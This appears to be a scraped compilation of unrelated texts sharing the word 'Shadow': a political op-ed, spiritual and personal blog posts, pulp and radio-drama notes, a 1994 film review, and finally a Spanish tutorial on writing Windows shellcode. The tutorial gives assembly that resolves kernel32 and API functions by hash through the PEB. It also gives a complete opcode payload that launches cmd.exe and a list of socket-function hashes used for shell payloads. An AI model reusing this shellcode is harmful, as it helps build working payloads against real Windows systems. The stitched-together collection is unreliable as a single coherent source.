by Deepak Chopra
Last fall it seemed as if Sarah Palin would light a fuse and cause a social explosion. Behind her beauty-pageant smile lurked the shadow, the dark side of human nature. Her tactic of appealing to the worst impulses of the electorate had a long history in the Republican Party. Indeed, Palin inherited the selfish, mean-spirited values of another politician with a gleaming smile, Ronald Reagan.

When it first dawned in American politics, the shadow was shocking. Values were turned upside down. The AIDS crisis? Ignore it. They deserve what they got. The deficit? Doesn’t matter as long as the rich get what they want. Huge unemployment and falling incomes among the working class? Feed them crank social issues so they have someone to hate. Palin breathes this noxious atmosphere like the clear air of Alaska and thrives on it.

Now, however, Palin brings a smile. When she quit her job as governor, it was obvious that someone had whispered in her ear, “You’re fading. Soon you’ll be a nobody. Grab the money while you can.” And so she did, earning a hefty advance, much of which, fittingly, goes to paying off lawsuits related to her ethical violations while in office. The shadow that seemed so dangerous a year ago has been defanged, reduced to spiteful backbiting against the McCain campaign, the very people who gave Palin her spot in the limelight to begin with.

I hope the left will take a deep breath and stop treating Palin like a diabolical force. The American character has always had a large dose of orneriness in it, and the more ornery you were, the farther west you moved. Alaska has a reputation for being an icebox for malcontents. Palin came straight from the source, and countless Americans root for her. In hard times, being the bellyacher-in-chief is a valid role. Hence the rise of Glenn Beck.

But nobody is being fooled. A recent Gallup poll showed that 67% of responders don’t want Palin to run for president. Fear of Palin is ill-advised on two counts. First, fear is what the shadow wants. Without it, the shadow has no power. Second, the left needs to learn how to win graciously. The current upheaval in American society, which has been an enormous threat on many fronts, called forth a president and a constituency that knows how to handle crisis. The voices of sanity are prevailing. The solutions that have emerged on all fronts — economic, social, and international — represent the best in the American character.

But you can’t expect everyone to join the party. As long as we know that Palin is fooling nobody all of the time, the darker side can be tolerated. The shadow is always with us. Today it’s on a book tour.

Published in the San Francisco Chronicle

from July 12, 2008

A beautiful young man, after Zikr last night, shared his struggles and challenges in finding compassion for a family member caught in the throws of addiction.  He felt it was so difficult to comprehend why any person would be caught in such a trajectory of self-annihilation.  But an addict is an amazing being– someone who is willing to annihilate themselves, even for the momentary illusion of being more alive, someone seeking life more passionately than many of the successful, careful and properly behaved among us may ever know.

Perhaps that is why, in 1968, God told Murshid Samuel Lewis, “Teach the Hippies.”  Perhaps God looked with great appreciation upon those reckless young people who were throwing themselves over and over at the jaws of death in hopes of a glimpse of Truth, a sweet taste of the Infinite.

It is so easy to turn away from suffering.  Addicts walk the edge, but how insane are those of us who feel that if we do not look at the suffering in the world, it will pass us by?  Do we honestly believe that by dissociating ourselves from that which is too painful to see, we will insure our safety from pain as if God were an insurance salesman and our willful blindness was a signature on His contract?

Oh, and then there are the  Fixers.   Not the healers, healers are of another ilk, but the Fixers– those of us who believe we have all the solutions, and by following the appropriate rules, all problems will be solved.  What a comforting offer! It’s so seductive, so seductive.  Here is the attraction and beauty of religious Fundamentalism at it’s core:  follow the rule book and we will be spared all pain… or at least whatever inexplicable pain we are subject to endure in this life will be explained or rewarded the next.

What addiction is the obsessive attachment to the belief that if we just find the right rule book and follow it exactly, that we will finally be saved, blessed, free of pain?  What a dark road it leads us down, over and over again, into Holy Wars and hell on Earth and yet we persist.  What ‘loss of control in limiting intake” is that?

And Fundamentalism isn’t limited to the spiritual realms.  There are Material Fundamentalists, even Atheist Fundamentalists.  For when we cry  “Give me rational proof or give me death!”  we are no different than those who cry, “Give me my God my way or give me death!”.  In these cries, we are still courting death to preserve our precious attachment to the righteousness of our points of view.  How precious is it to simply question?  To possibly not know?  To be willing to consider?  To be willing to examine the possibilities?

What if Heaven and Hell as places of reward and punishment don’t exist?  What if they are here, right now, here with us, in our minds, our points of view, our beliefs and concepts?  What if we truly have the power to bring Heaven to the Earth, or Earth toward Heaven, just by altering the condition of the human heart?  What if the addict’s painful and often horrible descent into personal hell is just the result of throwing herself into God without any flying lessons ? What if the horrible face that stares back at the addict from his mirror each day is a face humanity needs to recognize as part of itself every bit as much as humanity needs to recognize the Saints and the Prophets?  What if  “There but for the Grace of God go I” is a lie because all of us are everyone and none of us is truly free until we can accept fully and completely both the beauty and the capacity for utter devastation within us?

After all, we would not expect a child to excel at any academic discipline without recognizing and training his or her capacities, so why would we think we can fully attain our potential as a humanity or  realize, as a humanity, any real self- responsibility at all by persisting in denying the darkness within us.

Perhaps the addicts among us are actually Saints, sacrificing themselves so that we can finally see who and what we truly are.  Ask any addict in recovery and he will tell you– no matter what horrible things he did and how many people he hurt, the person who was hurt most by his addiction was the addict himself.

Notes:

On the clinical view of Addiction–

http://www.nida.nih.gov/pubs/teaching/teaching2/Teaching3.html

On Murshid Samuel Lewis (Murshid SAM)–

http://www.marinsufis.com/murshid.php

http://www.gnostic.org/murshidsam/forward.htm

New in at Cinema Books: I Love the Illusion The Life and Career of Agnes Moorehead by Charles Tranberg, $24.95 paper.  A career that started with Orson Welles Mercury Theatre of the Air through “The lovely Margot Lane” on The Shadow  and voiced the role of Eleanor Roosevelt on The March of Time.  Originated the role in Sorry, Wrong Number.  Memorablily She appeared in Citizen Kane and The Magnificent Ambersons.  But probably she is best remembered as Endora in Bewitched.

WHAT EVIL LURKS IN THE HEARTS OF MEN?
Only The Shadow knows…

(George W. Bush and Barack Obama)

Picture by: dunno source Caption by: KidSister via Poster Builder

» Recaption This!

» View All Captions

La Sombra

Usualmente, cuando hablamos de héroes de comics, solemos arrancar a partir de la Edad de Oro, que si bien tiene una riqueza enorme, dejamos atrás una gran cantidad de personajes anteriores, la llamada Edad Clásica, formada de personajes surgidos de seriales cinematográficos, programas de radio, tiras de periódicos y las apenas nacientes revistas. En esta ocasión, trataremos de ver cual fue el mejor o el más popular de aquella época.

” A Pale Green Mermaid Blog “

Hello workers! Today I will be starting a serial – episodic – flash story, another words  a story that unfolds in a serial fashion as ” The Shadow” did in the 1940’s radio show.

Presenting… “ Black “

 The sun shone hard over the horizon.  Its shape was egglike and puffy.  I pulled on my green rubber boots and decided to head south to avoid the network of triangular shaped UFOs that had landed in the fields north of my estate.  There were about forty of them, during the night, flying in perfect formations that sent a red glow over the landscape.

Sweat careened down my spine.  It was ninety-five degrees, yet only slightly past seven in the morning.  I grabbed my binoculars, compass, sunglasses and video.  Cutting through the marshes and swamps I could probably avoid encountering them until I was ready to start filming.

What a week this had been.  Between Neil breaking his arm, the water pump burning out and my editor returning a recently submitted manuscript covered with edit marks – I was ready to embark on one of those UFOs and head to Neptune myself.

The sightings had become quite common in New York.  My farm was fifty miles from the border between New Jersey and Pennsylvania separated by a thin ribbon of water, the Delaware river.  No contact had been reported between the government and the ‘visitors” as the press was referring to them in print.    The tabloids were having a field day.  One of their usually less than credible stories had actually come true.  No one knew where they came from or their intentions.

Maybe it was an interstellar fly over a huge beautiful overwhelming display of their best bag of technical wizardry.  At least that was the theory I clung to. 

Now  where was my … oh, there it is.  Time to move while the heat is still bearable but not yet oppressive.  Pools of condensation formed in my boots, trickling around toes that grasped orange flip-flops.

” You’d better get going, Artell, if you expect to make it back before Sara and Peter arrive,” Neil said as he poured himself some cold coffee from last night’s party.  ” You know they’ll be disappointed if you are not here when they arrive, and for heaven’s sake be careful.”

” Don’t worry, I’ll be back before noon – if everything goes as planned.”

Artell loaded the items in her backpack  and walked to the purple jeep, which they had bought at a sale of military surplus.  Of course, it wasn’t purple when they bought the jeep, Artell’s niece, Sara, had begun painting a purple dragon on it one day and they just continued the process to its natural conclusion.  She started up the engine  expecting the usual sputtering and lurching, but to her surprise – it was smooth. Giving Neil the thumbs up, she drove off down the mile long driveway which streched  to a dirt road and then the super highway.

To be continued…

 Note:

Serials in television and radio are series that rely on a continuing plot that unfolds in a serial fashion, episode by episode. Serials typically follow main story arcs that span entire seasons or even the full run of the series, which distinguishes them from traditional episodic television that relies on more stand-alone episodes.   From Wikipedia

The Shadow
“Who knows what evil lurks…?” The Shadow as depicted on the cover of the July 15, 1939 issue of The Shadow Magazine. The story, “Death From Nowhere,” was one of the magazine plots adapted for the legendary radio drama.
Publication information
Publisher	Street & Smith Condé Nast
First appearance	Detective Story Hour (July 31, 1930)[1] (radio) “The Living Shadow“ (April 1, 1931)[1] (print)
Created by	Walter B. Gibson
In-story information
Alter ego	Kent Allard (print) Lamont Cranston (radio and film)
Notable aliases	Lamont Cranston (print)
Abilities	Skilled marksman and martial artist. Master of disguise and stealth. (print) Able to make himself nearly invisible to the naked eye, can alter and control a person’s thoughts and perceptions. (radio)

From Wikipedia

GANGLAND’S DOOM is a short primer of the old pulp magazine. It discusses the 325 novels in the pulp magazine, touching briefly on the first book of the Belmont original paperback series, the only one actually written by Walter Gibson. The author has read all the novels a number of times, keeping extensive notes.

There are chapters on the varied identities the Shadow used, the agents, the major cities other than New York he traveled to in his battles with crime(two thirds of the published adventures happened in the Big Apple), and one of the major, recurring villains with which he tangled, giving titles of the various appearances of each in the chapters.

The last chapter is of a few oddities that I found interesting. The Shadow passes someone reading The Shadow Magazine in one story, Walter Gibson makes a brief appearance in another, as well as the HIndenberg involved in one plot, a gang leader named Mike Hammer(this was years before I,The Jury), and finally Gibson was listed as author on page one of one issue.

Three appendices end the book. One lists the titles, publication dates, and authors of the entire magazine run. Another gives brief biographical sketches of the three authors that worked on the magazine. The third is an analysis of Philip Jose Farmer’s theory from TARZAN ALIVE that the Shadow, the Spider, and G-8 were the same man.

I’m a long time Shadow fan, though I’ve only read about seventy of the novels, including the Belmont series(eight of the nine written by Dennis Lynds) and the movie novelization, with about another forty or so in my TBR pile. It’s not likely I’ll ever get them all read.

Ah well.

What is it? Why it is the vast right-wing conspiracy. Or so says Bill Clinton. And he says that it is out to get Obama, just as it wa  sout to get him. Short refresher course. It was then first lady, Hilary Clinton, who first came up with term during the Lewinsky years of days gone by. She told Matt Lauer that this amorphous thing, this conspiracy, was after her husband.

So, now the term has resurfaced, about 12  or so years later. I believe if I were Mr Clinton, I would have chosen another phrase to describe this idea of his . The first thing it does or should do is to bring back memories of times that were not his finest. Why he used that term, who knows.

He says that it isn’t as strong but it is just  as virulent as ever. This in an interview on  Meet the Press with David Gregory. This was on Sunday, just a few days after a great and glorious New York meeting hosted by Clinton. At that time the President hailed him as a person “… who has helped improve and save the lives of millions.”

Now it is Clinton a bit morose, but just a bit. Interestingly, he talks about  the Republicans actions ( and makes  a veiled Limbaugh reference) as  being    not very good for the country. That echoes what Transportation Secretary Ray LaHood said just a few days ago. It brings me back to this thought. What  does Clinton, et al want Republicans to do? Vote aye on all the Democrats proposals, cheer Obama on the world stage or just quietly go away? What did Democrats  do when they were the ” loyal opposition” ?

You are loyal and you oppose, right? How much and what do you oppose? Who decides how much opposition is alright? Sure, any party in power wants  as little opposition as it can get. Where is the line and who draws it?

It was also a bit amusing to note that some disagreed with Clinton and almost called the conspiracy, not  diminshing in size, but rather growing. So said  Lawrence  O’ Donnell on MSNBC. Who knows? Is there really a right-wing conspiracy, who belongs,how does one join, how does one even knew if they belong?

Alas, probably only ” The shadow knows.”

September 23, 1944
The Evening Independent

Radio Day by Day
By C. E. Butterfield

NEW YORK—The Voice of America program for N.B.C. at 7 o’clock this evening, in tribute to American broadcasters’ part in radio psychological warfare, also is being presented in connection with the dedication of new high-powered short wave transmitters built near Cincinnati for the Office of War information and the co-ordinator of inter-American affairs.

The transmitters use the calls WLWL, WLWR and WLWS, are located at Bethany, Ohio, and are described as having sufficient power to reach many parts of the world.  They were constructed by the broadcasting division of Crossley, which will participatein their operation.

The program will come both from Washington and Cincinnati, include a dramatization and a panel of four spearkers.  C. L. Durr of the FCC will replace the previously announced chairman, James L. Fly.  Others are Elmer Davis, Robert Sherwood and Nelson Rockefeller.

~ ~ ~

One of two premiers for Sunday is the return of the Shadow Mystery dramas to MBS at 5:30 o’clock to start the eighth year on that network.  The other is Dorothy Thompson’s Commentary, back on the Blue at 8:15 o’clock, an hour later than last year.

Fresh from his stint at entertaining G.I.s on the atolls and islands of the South Pacific comes vioilinist Jack Benny.  His new program starts Sunday, October 1, same time over your same NBC station, with Mary Livingstone, his sugar and spice—Phil Harris, his orchestra leader now up to the First Reader—Rochester, his valet known as the sentimental fellow with the mellow bellow—Don Wilson, who laughs loudest and sells hardest.

There are a lot of qualities one can admire in a writer. The way they turn a phrase. Their vivid and lively descriptions. Their realistic portrayals of characters or everyday life. Their realistic dialog.

All good qualities to admire.

What I admire most, however, is a vivid and tireless imagination. I’m in awe of a writer who can create fantastic adventures, new worlds. A writer who is seems to have an endless trough from which to draw ideas from.
I most admire writers who are prolific. Writers who can create story after story. Novel after novel. World after world. Adventure after adventure.

Writers like:

Edgar Rice Burroughs. The master of sword and planet stories. He created memorable heroes and fantastic worlds. He wrote about Mars, Venus, Pellucidar, and the land that time forgot. He created the memorable Tarzan, arguably one of the greatest action heroes of all time. He wrote somewhere in the neighborhood of 70 novels.

Robert E. Howard. In his brief 12 year writing career, Howard wrote over 100 stories and created some very memorable heroes, including Conan the barbarian, Kull, Solomon Kane, Bran Mak Morn, and his most written about character, Sailor Steve Costigan.

Walter B. Gibson. Under the pseudonym Maxwell Grant , Gibson wrote 282 of the 325 novels about the pulp hero, The Shadow. “The Shadow” magazine at its peak popularity appeared twice monthly. Gibson would often write two 60,000 word novels a month, producing 10,000 to 15,000 words a day, often writing on three different typewriters at the same time. In addition, Gibson was an amateur magician and wrote several books on magic. He also produced numerous article on magic for newspapers and magazines. He wrote the scripts for “The Shadow” comics. In addition, he also wrote 23 novelettes about Norgil the Magician.

Stan Lee. Yes, the Marvel Comics icon. Comic book writers have always fascinated me. How do they come up with all those stories, month after month, year after year? There are many comic book writers I could include here who have been as prolific as Stan “The Man” Lee, but I think Stan deserves accolades alone. He created, or co-created (most notably with Jack Kirby and Steve Ditko), the X-Men, Daredevil, Spider-Man, the Incredible Hulk, Thor, Iron Man, Doctor Strange, Nick Fury, and the Fantastic Four which included Mr. Fantastic, the Thing, the Human Torch, and the Invisible Girl, along with a host of super-villains. Stan revolutionized the comic industry by giving his characters flaws, personalities, real life problems, and having them face serious social themes.

Isaac Asimov. Asimov was a writing machine. He started writing at 11, sold his first story at 18, and never looked back. He is remembered for his science fiction, but he was equally at home writing mysteries, science fact, history, and guides to myths, the Bible, and Shakespeare. Between his fiction and his non-fiction output, he authored nearly 500 books.

Ray Bradbury. Bradbury has written horror, fantasy, science fiction, and mystery stories. He has written more than 30 books, including the dystopian “Fahrenheit 451,” and hundreds of short stories.

All of these were tireless writers. Their discipline must have been Herculean. They, and many others I failed to mention, amaze me and inspire me daily. Whenever I’m feeling lazy and think maybe I won’t write today, I think, What Would Asimov Do?

-30-

The Shadow | Dir: Russell Mulcahy | 1994 | 7/10

Back in 1994, while every other 9-year-old was probably out watching Disney’s The Lion King singing Hakuna Matata, I was sitting in an almost empty cinema watching The Shadow humming Jerry Goldsmith’s catchy score.

Alec Baldwin as Lamont Cranston starts off in Asia running an opium trade with an iron fist going by the name of Ying Ko in a scene reminiscent of Marlon Brando in Apocalypse Now (1979), but his corruption is about to be tamed and undone by some mystic holy man who teaches him to fight for good by using his shadow to cloud mens’ minds. So Cranston was apparently an American soldier fighting in World War I who somehow rose to power in the far East and turns into a sadistic baddie bent on power and opulence. This sounds a lot like Pinhead’s back story in the Hellraiser movies. Did the first world war really have that effect on veterans?

Anyhow, jumping seven years later to New York City in the mid-1930’s, Cranston returns with his new secret identity as the city’s elusive superhero – the Shadow, along with a whole network of agents at his disposal. How he gathered these agents in a short space of time is anyone’s guess, he just saves peoples’ lives, gives them a flashing signal ring, and presto, they’re agents of the Shadow because they “owe him their lives”. Imagine if Superman did that to everyone he saved, there was an episode of Lois and Clark that dealt with that idea when some guy who got Supes’ powers sent people a bill for saving them. I don’t get it, didn’t Cranston become the Shadow for the sake of his own redemption? If so, then why the hell in his mind would anyone owe him anything?

The Shadow himself isn’t an ordinary superhero, naturally he has a dark past and isn’t a goodie-twoshoes, so he has no qualms about killing bad guys, and thankfully fans don’t complain about him killing anyone or at least inflicting a great deal of harm on his enemies when he needs to. This is all done with tongue-in-cheek humour, so he’s not a stiff. However, what the hell is it with his face changing when he becomes the Shadow? He looks like he’s turned into Stephen Baldwin when he’s in the hat and cloak! It reminds me of that Seinfeld episode where Jerry was dating a girl who looks fabulous in certain lighting, but then looked like a hobo in other certain lighting. Maybe she was also a student of the Tulku.

The villain, Shiwan Khan (John Lone), the supposed last descendant of Genghis Khan (which is a lie because he allegedly has descendants all throughout the Asiatic peoples), is a real scene stealer. He’s another Shadow who can cloud men’s minds, so he’s a perfect nemesis to Cranston, along with his desire to rule the world and finish the job of his great-great 40³² grandfather by blowing the city sky high with an atomic bomb. Are we sure he’s not Persian? I heard Iran called, they want their bomb back. Almost everything the guy says is hilarious with lines spoken with that creepy hypnotic stare like “In three days, the entire world will hear my roar, and willingly fall subject to the lost empire of Shan Kahn. That is a lovely tie, by the way. May I ask where you acquire it?”

Then there’s the lovely Penelope Ann Miller as Cranston’s bleach blonde love interest Margot Lane who has the natural ability of telepathy. This freaky psychic power she has is just a real turn-on for Cranston as he’s always looking just a bit further down than her clever neckline than what any woman in reality would be comfortable with, but it also happens that her colour-blind father (Ian McKellen) is building the bomb under Khan’s hypnosis. One thing I didn’t get about this is that Cranston can’t cloud her mind no matter how hard he tries. At first, I thought it was a literal thing that he could only cloud “mens’ minds”, but then that didn’t make any sense as Khan was able to hypnotize her with that bizarre cigarette billboard that could change into his own face puffing smoke rings. Is this a typical David Koepp script blunder or is Cranston just clueless with dames?

It’s a shame this lavish movie bombed at the box office. Despite its plot holes and elements of style over substance, I’ve always had a great affection for its pulp serial look and structure, as well as Goldsmith’s music, which is really such a fun and textured work that you wouldn’t hear in a movie of this kind these days. I’ve heard some critics say that the The Shadow doesn’t take itself seriously enough and should have been more like Batman Begins (2005) – you’ve gotta be kidding me, that movie was an ultra-serious bore with a tone that wouldn’t work for the 30’s serial style of this film. Just no. The colourful cheese factor in this film is welcome.

If you want to see Alec Baldwin tear the skin off his face to find someone else underneath, I recommend The Shadow as an almost forgotten cult classic. That’s really some kind of mystery.

watching a children’s program, which occupies our t.v. more than normal programming these days i noticed a show where they were showing off how all little kids have a shadow in the sunlight. it’s called max and ruby. it made me think of how all of us have a shadow, and i’m not talking about our natural shadow that casts onto walls as we pass them by.

we all possess that side of us that is a little darker that casts onto everything we pass by and that at times we simply want to play with.

the darker side of ourselves is always present in the background and occasionally in the foreground of our lives. the battle ground is with how much we play with the shadow of our own lives. whether we live more in the light than in the darkness of our shadows are the victories and defeats we share.

honestly, there are often times where playing in the shadow seems more fun,mysterious, and is the desire that overcomes the good in me causing me to choose it over the good. yet when costs are tallied it always leaves a price i didn’t want to pay.

so enough about me, what about you? do you like the benefits of living in the light of life or do you prefer to dance with your shadow? i guess we all in the end make our own choices, and the consequences are the life we have lived as purgatory doesn’t sound like much of an existence at all. and as the simple phrase goes, “you can’t have your cake, and eat it too.”

gotta love the human condition and the power of choice ,

http://KameronLombard.com

por lShadowl

———————————————————————————————————–

Siguiendo con el tema de las shellcodes, en este articulo se vera el problema de shellcodes para versiones de SO especificos en los que la llamada a la API se hace directamente. Se expondra como obtener la direccion actual donde se ha cargado kernel32.dll y como llamar funciones.

———————————————————————————————————–

Teoria

Nota: Info sobre las estructuras: http://ntinternals.net/ ; http://msdn.microsoft.com/

Para encontrar la direccion de kernel32 hay varios metodo de los cuales los mas notables son usando: PEB (el que explicare en este articulo), SEH (Structured Exception Handling) y TOPSTACK (basado en el uso del TEB //Thread Environment Block).

PEB (Process Environment Block) es una estructura que contiene la informacion de los procesos cargados en Windows. Su estructura es la siguiente:

typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  BYTE                          Reserved4[104];
  PVOID                         Reserved5[52];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved6[128];
  PVOID                         Reserved7[1];
  ULONG                         SessionId;
}PEB, *PPEB;

La direccion de esta estructura se en fs:[0x30], esto quiere decir que con:

mov ebx,fs:[0x30]

podemos tener en ‘eax’ un puntero a PEB. Pero para que nos sirve tener acceso a PEB?

En la estructura del PEB podemos ver que uno de sus valores es un puntero a LDR_DATA:

 PPEB_LDR_DATA                 Ldr;

Ahora, veamos la estructura de PEB_LDR_DATA:

typedef struct _PEB_LDR_DATA {

ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;

} PEB_LDR_DATA, *PPEB_LDR_DATA;

Bien, lo que nos interesa aqui es la list entry:

LIST_ENTRY InLoadOrderModuleList;

Que contiene un puntero a la informacion de los modulos cargados en orden descendiente del primero al ultimo. Su estructura es la siguiente:

typedef struct _LDR_MODULE {

LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;

} LDR_MODULE, *PLDR_MODULE;

Que es la que usaremos para filtrar la direccion del kernel32.dll y las demas APIs que usaremos.

———————————————————————————————————–

Encontrando la direccion de kernel32.dll

Para filtrar los datos del PEB partimos en tener un puntero a PEB:

mov ebx, fs:[0x30]

Ahora necesitamos apuntar a InLoadOrderModuleList de LDR

		mov ebx, [ebx+0x0C]  ;puntero a LDR
		mov ebx, [ebx+0x1C]  ;puntero a InLoadOrderModuleList

Ahora solo resta filtrar el contenido para tener en ebx la direccion de kernel32

		mov ebx, [ebx]
		mov ebx, [ebx + 0x08]

Entonces tendremos como codigo resultante:

		xor ebx, ebx ;ebx a 0
		mov ebx, fs:[0x30] ;apuntamos a PEB
		mov ebx, [ebx+0x0C] ;LDR a edx
		mov ebx, [ebx+0x1C] ;InInitializationOrderModuleList a edx
		mov ebx, [ebx]
		mov ebx, [ebx+0x08] ;direccion de kernel32.dll a ebx

Comparemos como funciona vs GetModuleHandleA():

#include <windows.h>
#include <stdio.h>

int main()
{
	DWORD kernelAdd;
	printf("usando GetModuleHandleA(): %08X", (DWORD)GetModuleHandleA("kernel32.dll"));
	__asm{
		xor ebx, ebx
		mov ebx, fs:[0x30]
		mov ebx, [ebx+0x0C]
		mov ebx, [ebx+0x1C]
		mov ebx, [ebx]
		mov ebx, [ebx+0x08]
		mov kernelAdd, ebx
	}
	printf("\ncon PEB: %8X", kernelAdd);
	return 0;
}

Como podemos ver, las direcciones resultantes (en mi caso: “7C800000″ //win XP Pro sp3) son identicas. El metodo funciona.

———————————————————————————————————–

Mas teoria

Bien, ya aprendimos sobre la estructura del PEB y del LDR y como manejarlas para conseguir la direccion de un modulo. Para esta seccion es necesario conocer los terminos RVA (Relative Virtual Address) y EAT (Export Address Table). Para esto estudiaremos la cabecera opcional de los PE que es la que provee informacion al loader de windows.

Esta cabecera se divide en tres partes mayores: campos standard, campos especificion de windows y directorios de datos. >>

De estos campos nos interesaremos en la parte de los directorios de datos. >>

EAT – Export Address Table

La tabla de direccion de la exportacion contiene la direccion de los puntos de entrada, datos y absolutos exportados. Un numero ordinal se utiliza para poner en un indice la tabla de direccion de la exportacion, despues de restar el valor del campo bajo ordinal para conseguir un indice verdadero, basado en cero. (Asi, si la base ordinal se fija a 1, un valor comun, un ordinal de 6 es igual que un índice basado en cero de 5.)

Cada entrada en la tabla de direcciones de exportacion es un campo que utiliza uno de dos formatos, segun las indicaciones de la tabla siguiente. Si la direccion especificada no estáadentro de la seccion de exportacion (segun lo definido por la direccion y la longitud indicadas en el jefe opcional), el campo es una exportacion RVA: una dirección real en codigo o datos. Si no, el campo es un promotor RVA, que nombra un símbolo en otro DLL.

Es necesario saber las estructuras con que se trabaja, para mas info: MSDN.

———————————————————————————————————–

Llamando a las APIs

El metodo a exponer es algo vago, revisamos cada modulo cargado, como vimos anteriormente con LDR pero ahora usaremos la lista en orden de posicion de memoria, y comparamos cada funcion del modulo con la funcion que necesitamos llamar, al encontrarla, la llamamos .

Analicemos como hacer las llamadas siguiendo los pasos anteriores:

api_call:
  pushad     ;registros a pila
  mov ebp, esp
  xor edx, edx
  mov edx, [fs:edx+48] ;puntero a PEB
  mov edx, [edx+12]    ;puntero a LDR
  mov edx, [edx+20]    ;puntero al primer modulo de la lista de InMemoryOrder

next_mod:
  mov esi, [edx+40]    ;puntero al nombre de los modulos
  movzx ecx, word [edx+38] ;logitud a verficar
  xor edi, edi     

loop_modname:
  xor eax, eax
  lodsb
  cmp al, 'a'        ;el nombre del modulo esta en minuscula
  jl not_lowercase   ;lo pasamos
  sub al, 0x20       ;a mayuscula   

not_lowercase:
  ror edi, 13        ;rotamos hacia la derecha
  add edi, eax       ;el valor del hash
  loop loop_modname  ;hasta ecx=0
  push edx           ;Posicion
  push edi           ;y hash del modulo actual a pila
  mov edx, [edx+16]  ;direccion base del modulo a edx
  mov eax, [edx+60]  ;cabecera PE a eax
  add eax, edx
  mov eax, [eax+120] ;EAT a eax
  test eax, eax      ;hay EAT?
  jz get_next_mod1   ;no, siguiente modulo
  add eax, edx
  push eax           ;EAT del modulo a pila
  mov ecx, [eax+24]  ;numero de funciones del modulo a ecx
  mov ebx, [eax+32]  ;RVA de las funciones a ebx
  add ebx, edx          

get_next_func:
  jecxz get_next_mod ;si no quedan mas funciones, vamos con el siguiente modulo
  dec ecx            ;numero de la funcion - 1
  mov esi, [ebx+ecx*4]  ;RVA de la funcion a esi
  add esi, edx
  xor edi, edi           

loop_funcname:
  xor eax, eax
  lodsb           ;byte por byte del nombre de la funcion en ASCII
  ror edi, 13     ;buscamos
  add edi, eax    ;el caracter
  cmp al, ah      ;nulo que indica el final de la cadena
  jne loop_funcname ;hasta tener el hash completo de la funcion
  add edi, [ebp-8]  ;edi=hash del modulo+hash de la funcion
  cmp edi, [ebp+36] ;es la que buscamos?
  jnz get_next_func ;no, sigamos con la siguiente funcion    

  pop eax           ;EAT del modulo a eax
  mov ebx, [eax+36] ;conseguimos RVA
  add ebx, edx      ;le a?adimos la direccion base del modulo
  mov cx, [ebx+2*ecx]
  mov ebx, [eax+28]  ;RVA de la funciones a ebx
  add ebx, edx       ;le a?adimos la direccion base del modulo
  mov eax, [ebx+4*ecx] ;RVA de la funcion que queremos a eax
  add eax, edx       ;le a?adimos la direccion base del modulo y listo, en eax 

tenemos la direccion virtual de la funcion    

finish:
  mov [esp+36], eax ;viene un popad asiq salvamos eax, escribiendolo sobre el valor 

anterior
  pop ebx        ;arreglamos la pila
  pop ebx
  popad
  pop ecx
  pop edx
  push ecx
  jmp eax        ;llamamos a la funcion        

get_next_mod:
  pop eax         ;EAT del siguiente modulo a eax  

get_next_mod1:
  pop edi         ;hash del siguiente modulo a eax
  pop edx         ;posicion donde quedamos en la lista de modulos a edx
  mov edx, [edx]  ;puntero al siguiente modulo
  jmp short next_mod
  ;Harmony Security

Bien, ya tenemos como obtener la direccion virtual de la funcion que necesitamos llamar, probemos:

[BITS 32]

  cld        ;bandera de direccion a cero
  call start ;puntero de api_call a la pila   

api_call:
 ;(...)
 ;codigo de api_call
 ;(...)

start:
  pop ebp         ;puntero de api_call a ebp      

  jmp command     ;comando a ejecutar va a pila

exec:
  push 0x876F8B31 ;hash para WinExec a pila
  call ebp        ;llamamos a api_call       

  push 0x56A2B5F0 ;hash para ExitProcess a pila
  call ebp        ;llamamos a api_call      

command:
  call exec
  db "cmd.exe ", 0

Bien, ya tenemos la shellcode, pasamos a Opcodes y encapsulamos en C:

char code[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68\x31\x8b\x6f\x87\xff\xd5\x68\xf0\xb5\xa2\x56\xff\xd5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x00";

int main()
{
	int (*func)();
	func = (int (*)()) code;
	(int)(*func)();
}

Funciona?

Si funciono.

Algunos hashes muy usados:

0x006B8029, "ws2_32.dll!WSAStartup"
0xE0DF0FEA, "ws2_32.dll!WSASocketA" 

0x6737DBC2, "ws2_32.dll!bind"
0xFF38E9B7, "ws2_32.dll!listen"
0xE13BEC74, "ws2_32.dll!accept"
0x614D6E75, "ws2_32.dll!closesocket"
0x6174A599, "ws2_32.dll!connect"
0x5FC8D902, "ws2_32.dll!recv" 

0x5F38EBC2, "ws2_32.dll!send" 

0x5BAE572D, "kernel32.dll!WriteFile"
0x4FDAF6DA, "kernel32.dll!CreateFileA"
0x13DD2ED7, "kernel32.dll!DeleteFileA"
0xE449F330, "kernel32.dll!GetTempPathA"
0x528796C6, "kernel32.dll!CloseHandle" 

0x863FCC79, "kernel32.dll!CreateProcessA"
